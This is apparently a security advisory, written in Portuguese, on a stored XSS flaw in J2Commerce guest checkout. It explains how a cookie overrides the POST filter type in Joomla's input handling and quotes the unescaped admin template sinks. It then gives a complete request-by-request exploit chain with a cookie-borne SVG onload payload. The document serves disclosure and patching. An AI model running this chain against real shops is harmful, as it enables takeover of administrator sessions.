
XSS armazenado no Guest Checkout do J2Commerce via bypass do filtro de cookies
J2Commerce (com_j2store) ≤ 4.1.5 — Atacante não autenticado armazena payload XSS que é executado automaticamente no navegador do administrador ao carregar a página
O J2Commerce 4.1.5 é vulnerável a Cross-Site Scripting (XSS) Armazenado por meio dos campos de endereço de cobrança no checkout de convidado. Um atacante não autenticado explora um bypass de filtro no Input::getArray() do Joomla combinado com o variables_order=EGPCS do PHP (Cookie sobrescreve POST em $_REQUEST) para armazenar HTML não sanitizado em campos como billing_first_name. Esses campos são exibidos diretamente no painel administrativo de gerenciamento de pedidos sem , fazendo com que o payload seja executado no navegador do administrador.
htmlspecialchars()O payload XSS dispara automaticamente ao carregar a página quando o administrador navega até a listagem de pedidos — nenhum clique em um pedido individual é necessário. Uma única cadeia de requisições HTTP (adicionar ao carrinho → enviar checkout com bypass via cookie → confirmar pedido) armazena permanentemente o payload, que será executado no navegador de todo administrador até que o pedido seja excluído ou a vulnerabilidade seja corrigida.
O ataque não exige autenticação do atacante. O checkout de convidado é um recurso padrão e comumente habilitado em sites de e-commerce, oferecendo incentivo econômico para que administradores visualizem novos pedidos — tornando a exploração trivial de armar.
| COMPONENT | VULNERÁVEL | TESTADO EM | CORRIGIDO |
|---|---|---|---|
| J2Commerce (com_j2store) | 1.0.0 – 4.1.5 | 4.1.5 no Joomla 5.4.7 + MySQL 8.0 | 3.3.21 / 4.0.21 / 4.1.6 |
Tipo: Cross-Site Scripting — Armazenado (CWE-79)
Autenticação necessária: Nenhuma — não autenticado (checkout de convidado)
Sink primário: administrator/components/com_j2store/views/orders/tmpl/default_items.php:73
Caminho de gravação: components/com_j2store/controllers/checkouts.php:535
A vulnerabilidade consiste em duas fraquezas que se combinam: um bypass de filtro de entrada no caminho de gravação e a ausência de codificação de saída no caminho de leitura.
1. Bypass do filtro de entrada — mau uso do Input::getArray() do Joomla
O controlador de checkout de convidado do J2Commerce lê os campos de endereço usando $app->input->getArray($_POST). A implementação do Joomla itera sobre o array $_POST e usa cada valor como um tipo de filtro (não como dado), enquanto lê o valor real de $_REQUEST:
COMPONENTS/COM_J2STORE/CONTROLLERS/CHECKOUTS.PHP:535 — CAMINHO DE GRAVAÇÃO
$data = $app->input->getArray($_POST);
LIBRARIES/VENDOR/JOOMLA/INPUT/SRC/INPUT.PHP — MÉTODO GETARRAY() (LINHA 187)
public function getArray(array $vars = [], $datasource = null)
{
foreach ($vars as $k => $v) {
$results[$k] = $this->get($k, null, $v); // $k = field name, $v = POST value used as filter TYPE
}
}
LIBRARIES/VENDOR/JOOMLA/INPUT/SRC/INPUT.PHP — FONTE DE DADOS (LINHA 97)
$this->data = $source ?? $_REQUEST; // Reads from $_REQUEST, not $_POST
2. variables_order do PHP — Cookie sobrescreve POST em $_REQUEST
O $_REQUEST do PHP é uma superglobal mesclada construída a partir de $_GET, $_POST e $_COOKIE. Quando variables_order=EGPCS (o padrão compilado na maioria dos ambientes PHP), Cookie (C) vem depois de POST (P), portanto Cookie vence para chaves conflitantes.
Enviar first_name=RAW no corpo do POST faz com que o InputFilter::clean() do Joomla aplique o tipo de filtro 'Raw' (no-op) contra o valor do cookie first_name=<svg...>, que vence em $_REQUEST.
LIBRARIES/VENDOR/JOOMLA/FILTER/SRC/INPUTFILTER.PHP — MÉTODO CLEAN() (LINHA 215)
$type = ucfirst(strtolower($type)); // 'RAW' → 'Raw'
if ($type === 'Raw') {
return $source; // ← no sanitization — returns cookie value unchanged
}
Resultado final: o corpo do POST first_name=RAW define o filtro como um no-op. O cookie first_name=<svg onload="alert(document.domain)"> vence em $_REQUEST. O Joomla retorna o valor do cookie sem filtro. O J2Commerce o armazena cru em j2store_orderinfos.billing_first_name.
3. Codificação de saída ausente — sinks nos templates administrativos
ADMINISTRATOR/COMPONENTS/COM_J2STORE/VIEWS/ORDERS/TMPL/DEFAULT_ITEMS.PHP:73 — SINK PRIMÁRIO (dispara ao carregar a página de listagem)
// Vulnerable — no htmlspecialchars():
<span class="me-1"><?php echo $row->billing_first_name .' '.$row->billing_last_name; ?></span>
ADMINISTRATOR/COMPONENTS/COM_J2STORE/VIEWS/ORDER/TMPL/FORM_CUSTOMER.PHP:56 — SINK SECUNDÁRIO
// Vulnerable — no htmlspecialchars():
<?php echo '<strong>'.$this->orderinfo->billing_first_name." ".$this->orderinfo->billing_last_name."</strong>"; ?>
<?php echo $this->orderinfo->billing_address_1;?>
<?php echo $this->orderinfo->billing_city;?>
<?php echo $this->orderinfo->billing_phone_1; ?>
Este bypass funciona em todos os ambientes PHP, exceto Debian/Ubuntu (que define explicitamente request_order = "GP", excluindo cookies de $_REQUEST). Todos os outros grandes ambientes de hospedagem — hospedagem compartilhada cPanel/Plesk, CentOS/RHEL, XAMPP/WAMP/MAMP, Windows IIS — usam EGPCS por padrão, tornando a sobrescrita via Cookie ativa logo de fábrica, sem necessidade de alterações de configuração.
Abra a listagem de pedidos do administrador do J2Commerce como o administrador vítima. Isso confirma que o administrador está usando ativamente o painel e encontrará o payload na próxima visita.

Como atacante não autenticado, envie uma requisição GET para a página inicial do frontend do J2Commerce para estabelecer uma sessão e extrair o token CSRF embutido nas opções JSON da página. Esse token é necessário para as requisições POST subsequentes.

Adicione um produto ao carrinho do atacante. O carrinho deve estar não vazio para que o endpoint de checkout de convidado aceite o envio do endereço.
POST /index.php?option=com_j2store&view=carts&task=addItem&ajax=1 HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
product_id=&j2store_variant_id=&quantity=1&<csrf_token>=1

Envie o formulário de endereço do checkout de convidado com dois valores conflitantes para first_name:
first_name=RAW — O Joomla interpreta isso como o tipo de filtro (no-op)first_name=<svg...> — vence em $_REQUEST (PHP EGPCS: Cookie > POST) e é retornado sem filtroPOST /index.php?option=com_j2store&view=checkout&task=guest_validate HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
Cookie: <joomla_session>=<session_value>; first_name=%3Csvg+xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22+onload%3D%22alert%28document.domain%29%22%3E%3C%2Fsvg%3E
first_name=RAW&last_name=Attacker&address_1=1+Evil+St&city=HackCity&zip=12345&country_id=223&zone_id=62&phone_1=0123456789&phone_2=0123456789&email=attacker%40evil.com&<csrf_token>=1

Envie a etapa de endereço de envio usando o mesmo bypass via cookie. Esta etapa define o país de envio na sessão — ignorá-la causa um erro "SHIPPING_ADDRESS_NOT_FOUND" nas etapas seguintes.

Selecione o método de pagamento (pagamento na entrega). O campo payment_plugin não é um campo de entrada de texto suscetível a XSS.
POST /index.php?option=com_j2store&view=checkout&task=shipping_payment_method_validate HTTP/1.1
payment_plugin=payment_cash&<csrf_token>=1

Envie a etapa de confirmação para receber a página de resumo do pedido contendo um campo hash oculto. Esse hash é necessário para finalizar o pedido.
POST /index.php?option=com_j2store&view=checkout&task=confirm HTTP/1.1
accept_terms=1&<csrf_token>=1

Finalize o pedido usando o hash da etapa anterior. O servidor cria o registro do pedido em joom_j2store_orderinfos com billing_first_name definido como o payload XSS bruto.
POST /index.php?option=com_j2store&view=checkout&task=confirmPayment HTTP/1.1
hash=<hash_from_step7>&<csrf_token>=1

Como administrador vítima, navegue até a listagem de pedidos do J2Commerce. O payload XSS dispara imediatamente ao carregar a página — nenhum clique é necessário. O template default_items.php:73 renderiza billing_first_name sem escape na coluna Cliente.
Quando o administrador visualiza o pedido, a resposta do servidor inclui:
<strong><svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"></svg> Attacker</strong>
